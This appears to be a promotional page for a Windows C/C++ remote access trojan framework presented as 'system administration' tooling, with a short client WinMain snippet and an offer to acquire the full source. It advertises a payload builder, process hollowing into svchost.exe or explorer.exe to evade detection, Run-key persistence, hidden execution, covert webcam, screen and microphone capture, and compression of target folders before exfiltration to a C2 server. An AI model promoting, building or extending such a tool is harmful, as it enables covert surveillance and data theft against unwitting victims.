// Native_Execution_Engine

C-Level Telemetry.
Automated Generation.

A strictly constructed, zero-dependency Win32 C/C++ Client & Server framework featuring a GUI Payload Builder, Process Hollowing, and high-performance system administration.

Acquire Full Source Code

Client.cpp - Core Initialization

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // Process Mutex - Prevent Duplicate Execution CheckMutex(); InitializeCriticalSection(&sendCS); // Hardware-Accelerated Camera API Init MFStartup(MF_VERSION); // High-Fidelity Remote Desktop Engine Init GdiplusStartupInput gdiplusStartupInput; ULONG_PTR gdiplusToken; GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL); // Stealth System Tray Window Registration WNDCLASSEXA wc = { sizeof(WNDCLASSEXA), 0, HiddenWndProc, 0, 0, hInstance, NULL, NULL, NULL, NULL, "HiddenTrayClass", NULL }; RegisterClassExA(&wc);

> Core_Architecture

00 // GUI_BUILDER

Automated Payload Generation

Stop manually editing C headers. The framework includes a fully functional GUI Builder to compile custom stubs instantly. Configure DNS/IP routing, ports, and unique Mutex identifiers directly from the controller UI before generating your native payload.

Inject into Process (Process Hollowing: explorer.exe / svchost.exe)
Automated Installation Paths (%AppData%, %Temp%, %ProgramFiles%)
Establish Persistence (Registry HKCU/Run)
Automated Executable Hiding Attributes

01 // EVASION

Process Hollowing

Execute entirely in memory. The builder can configure the stub to perform advanced Process Hollowing, unmapping legitimate Windows processes (like `svchost.exe`) and replacing their memory space with your payload to evade disk-based analysis.

02 // PERSIST

Registry Autorun

Maintain reliable access across system reboots. The generated payload can automatically clone itself to secure directories and hook into the `CurrentVersion/Run` registry key.

03 // VISUAL

GDI+ & Media Foundation

Advanced visual telemetry. Stream high-fidelity Remote Desktop using GDI+ compression, or tap into hardware-accelerated webcam feeds natively via the modern Media Foundation (MF) API.

04 // INJECT

Dynamic DLL Engine

The stub supports on-the-fly, dynamic DLL plugin injection into memory—allowing you to load modular features without ever recompiling.

05 // AUDIO

WaveIn Live Mic

Directly hooks into the Windows Multimedia API to stream live, raw PCM audio arrays over the network with near-zero latency for precise acoustic surveillance.

06 // IO_OPS

Chunked TCP & Auto-Zip

Safely push and pull massive files using optimized Chunked TCP data streams. Spawns hidden PowerShell processes to dynamically compress target folders prior to exfiltration.

07 // BRIDGE

Consolidated HTTP MJPEG Server

The native C++ Server acts as a C2 controller and an HTTP bridge simultaneously. Route your incoming GDI+ Desktop and Media Foundation Webcam streams to port 8080, allowing secure viewing directly inside standard web browsers.